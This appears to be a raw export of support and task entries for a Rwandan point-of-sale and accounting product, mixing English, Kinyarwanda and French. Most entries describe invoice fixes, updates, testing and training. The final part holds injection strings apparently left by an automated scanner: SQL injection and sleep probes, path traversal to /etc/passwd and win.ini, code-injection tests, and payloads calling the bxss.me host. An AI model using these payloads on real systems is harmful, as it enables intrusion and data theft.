GUKOSORA ITEM ITAREKANAGA UMU SPECIALIST MUJYIHE BARI KUYICURUZA

REMOVE SOME DATA FROM C, IT WAS FULL AND ISHYIGA WAS NOT STARTING

INCOMPLET INVOICES AND AUTO REFUND UPDATE POS VERSION TO TESTING VERSION TO CHECK SYSTEM CALCULATION ERROR

SET DEFAULT PRINTER, REPRINT MVT SORTIE

SET DEFAULT PRINTER, REPRINT MVT SORTIE AND HELP TO START VSDC

COMPLET UNCOMPLETED INVOICES AND REFUND THEM AND CHECK UNBALANCED AND HELP ON SYSTEM CALCULATION ERROR

ARRIVAGE ITAGARAGARA

TRANSFER MISSING

SYSTEM IGENDA GACYE

CHECK INVOICES THAT WERE NOT REPORTED AND THE PROBLEM WITH THEIR XML

ISHYIGA SYSTEM WAS NOT WORKING WITH ERROR MESSAGE THAT IT CAN\'T BE OPEN

START ISHYIGA ON NEW IP ADDRESS, CHECK ZD_REPORT AND EBM2 BACKOFFICE

GUKOSORA FRSS KURI BLA

CLIENTS BATAGARAGARAGA MURI COMPTA

CHANGE SERVER, UPDATE ISHYIGA SYSTEM AND VSDC INSTALLATION

SHARE ISHYIGA TO OTHER MACHINE,GUKURAHO DISCOUNT,VISUALIZER VIREMENT

REPORT DE CAISSE ITAGARAGARA

LANGUE CREATION

GUKOSORA FACTURE ZA ASSURANCE ZASOHOTSE ARI CASH

UNDERSTAND AND REPORT ERROR

UPDATE SOCIETE COMANY WITH DISCOUNT BASED ON CASH PRICE

UPDATE EXPIRE DATE ON ITEMS ENTERED BY SERIES AND REPORT THE ERROR

UPDATE EXPIRE DATE ON ITEMS ENTERED BY SERIES AND REPORT THE ERROR

UPDATE EXPIRE DATE ON ITEMS ENTERED BY SERIES AND REPORT THE ERROR

CHECKING REASONS WHY SOME INVOICES ARE NOT REPORTED IN RRA ,UPDATE VSDC ,REPUSH THOSE INVOICES

GUKOSORA FACTURE ZITABAYE REPORTED MURI RRA KUBERA IKIBAZO CYA TIN

GUKOSORA FACTURE ZITABAYE REPORTED MURI RRA KUBERA IKIBAZO CYA SPECIAL CHARACTERS

KUREBA IMPAMVU HARI INFORMATION ZITAGAGARA KURI DP

CHECK INVOICE SAID NOT TO BE REPORTED, UNBALLANCED IN FOUND OCTOBER

CHECK INVOICE SAID NOT TO BE REPORTED, UNBALLANCED IN FOUND OCTOBER

UPDATE BOTH POS AND VSDC TO NEW VERSION

Creation of new account and and Giving Access

INVENTORY REPORT

KUREBA IMPAMVU ARRIVAGE YA JIANGSU YARI YANZE KWINJIRA

TEST ISHYIGA POS NO SDC FOR GADIEL, PREPARE AND SEND EMAILS

GUKORA DOCUMENT ICE CREAM TEAM IZAJYA ISHYIRAMO IBYO BAKOZE

GUKORA DOCUMENT ICE CREAM TEAM IZAJYA ISHYIRAMO IBYO BAKOZE

TEST INTEGRATION OF COMPTA AND SAGE

TEST INTEGRATION OF COMPTA AND SAGE AND LIVE DATA FROM POS

FREE SOME SPACE FROM LOCAL DISK C TO START ISHYIGA SYSTEM

CHECK INVOICE SAID NOT TO BE REPORTED

PREPARE DELPOYMENT PLAN, PREPARE AND SEND EMAILS TO CLIENTS FOR UPDATE

2 DELIVERIES WERE NOT COMPTABILISED AND SOME CLIENTS WERE NOT VISIBLE IN ISHYIGA COMPTA

Follow up Sync Receipts

TESTING COMPTA WITH PMSS, KUJYANA DOCUMENT JYAMBERE ISABA UPDATE, GUTEGURA DB YA KACYIRU HOSPITAL

TESTING COMPTA WITH PMSS, KUJYANA DOCUMENT JYAMBERE ISABA UPDATE

PREPARE DB FOR KACYIRU HOSPITAL

INAMA NA KIPHARMA NO KUBASOBANURIRA RELEASE NOTE YA UPDATE

KUREBA IMPAMVU BACANAGA ISHYIGA NTIRYAKE

COMMUNICATE ABOUT NEW VERSION UPDATE

KUREBA IMPAMVU COMMAND CERCLE ZIDATAMBUKA

SIMULATION OF INEZA

RSSB INVOICE BENEFICIARY HAZAGAHO ADHERENT

PREPARE TESTING PLAN ON RESOLVED BUGS,WORK WITH JEAN PAUL AND RACHEL TO CHECK SOME

PREPARE TESTING PLAN ON RESOLVED BUGS,WORK WITH JEAN PAUL AND RACHEL TO CHECK SOME BUGS

PREPARE TESTING PLAN ON RESOLVED BUGS,WORK WITH JEAN PAUL AND RACHEL TO CHECK SOME BUGS

PREPARE TESTING PLAN ON RESOLVED BUGS,WORK WITH SOME EMPLOYEES TO CHECK SOME BUGS

INAMA NA KIPHARMA YA NEW ACCESS

Raport de caisse itangana na raport de vente

Error Message Coming when you make transaction in Pos Cmd

Rebill Invoices

Issues reporting on mentis bug tool

KUREBA IMPAMVU BACANA ISHYIGA HASHIRA AKANYA RIGAHITA RIVAHO

FACTURE ZITABA ANNULE

TRAINING ABOUT NEW FEATURES AND BUG SOLVED IN ERP AND VSDC INCLUDING RECONCILLIATION

Kureba Impamvu reflesh itinda no gusobanura uko Bug zacyemutse

MAKING VIDEO TUTORIALS SHOWING HOW TO UPDATE COMPANY PRICE

CREATING NEW SOCIETY IN ALL BLANCHES

PRICES ON DELIVERIES WERE NOT BEING UPDATED IN MVT REPORT ,I TESTED IT AND UPDATE

PRICES ON DELIVERIES WERE NOT BEING UPDATED IN MVT REPORT ,I TESTED IT AND UPDATE

PRICES ON DELIVERIES WERE NOT BEING UPDATED IN MVT REPORT ,I TESTED IT AND UPDATE

GUKORA TEST KURI BUGS ZA COMPTA, HARIMO NA COMPTA-SAGE NO GUKORA WORD DOCUMENT IGARAGAZA UKO COMPTA-SAGE BIGENDA

MEET WITH KH STAF TO DISCUSS ABOUT CODIFICATION PROCESS

GUTEGURA EXCEL DETAIL IGENDEYE KUYO BATANZE ,KUZUZAMO INVENTAIRE TWAKOZE

GUTEGURA EXCEL DETAIL IGENDEYE KUYO BATANZE ,KUZUZAMO INVENTAIRE TWAKOZE

GUTEGURA EXCEL DETAIL IGENDEYE KUYO BATANZE ,KUZUZAMO INVENTAIRE TWAKOZE

CYCLE 10 PLANNING

CYCLE 10 PLANNING

UNDERSTAND BUGS FOR PRIORITIES, BUG DEPENDENCES, DEPLOYMENT PLAN FOR CLIENT ON CYCLE 9

DISCUSS ABOUT NEW THINGS TO ADD IN CYCLE 10 PLAN FOR DEV AND TESTERS

TAKE DB FROM CLIENT TO BE USED IN TEST

TAKE DB FROM CLIENT TO BE USED IN TESTING AND TEST THE ISSUE REPORTED

TAKE TO BE USED IN TESTING AND TEST THE ISSUE REPORTED

INVENTORY ERROR

CHECHING WHY VSDC IS NOT SIGNING INVOICE

UPDATE SOCIETE WITH DISCOUNT BASED ON CASH PRICE

UPDATING SOCIETE WITH ANY DISCOUNT

CREATING NEW INSURANCE

FOLLOW UP ON NEW VERSION GIVEN ,EXPLAIN ABOUT CHANGES ON RSSB INVOICES

ERROR MUKWINJIZA LIVRAISON

INCOMPLITE INVOICES AND AUTO REFUND

CHECK THE PROBLEM OF DELIVERY PRINTOUT COMPARE THAT PRINTOUT TO OTHERS FROM OTHER CLIENT, AND REPORT THE BUG

GUKORA TRAINING FORM

report Analysis

PROJECT ANALYSIS

DOCUMENT ANALYSIS

TRAINING AUTO COMMAND

CONFIRMATION DE PRIX DE VENTE(CALCUL)

IMPORTATION DE FACTURE ZISHYIGA ZIJYA MURI SAGE

BLV PRINTOUT FORMAT IZA NABI

Reminder on ishyiga function

ITEM VALIDATION

VSDC PRESANTATION

NIKI item validation

Finance manager

Bank statement control

Customer care Field visit

Debug Along with Developers

Update contract Negotiation

New sales negotiation

Ishyiga Product DEMO

response.write(9709268*9800043)

"+response.write(9709268*9800043)+"

-1 OR 2+81-81-1=0+0+0+1 --

-1 OR 2+448-448-1=0+0+0+1

-1 OR 2+473-473-1=0+0+0+1 --

-1 OR 2+521-521-1=0+0+0+1

-1" OR 2+139-139-1=0+0+0+1 --

../../../../../../../../../../../../../../etc/passwd

-1" OR 2+889-889-1=0+0+0+1 --

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

if(now()=sysdate(),sleep(15),0)

if(now()=sysdate(),sleep(15),0)

zFPWdwPk bcc:074625.323-10494.323.e87f2.19998.2@bxss.me

to@example.com> bcc:074625.323-10495.323.e87f2.19998.2@bxss.me

${9999799+9999676}

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

zFPWdwPk&n905864=v935973

Http://bxss.me/t/fit.txt

^(#$!@#$)(()))******

http://bxss.me/t/fit.txt?.jpg

c:/windows/win.ini

".gethostbyname(lc("hiteq"."geuyseby5a0d9.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(84).chr(107).chr(75)."

";print(md5(31337));$a="

${@print(md5(31337))}

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

zFPWdwPk"&&sleep(27*1000)*gncmka&&"

zFPWdwPk"||sleep(27*1000)*ojutrb||"

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(120).concat(70).concat(104).concat(76)+(require"socket" Socket.gethostbyname("hitpi"+"zoruneyk31b48.bxss.me.")[

add_function.php

add_function.php

add_function.php/.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))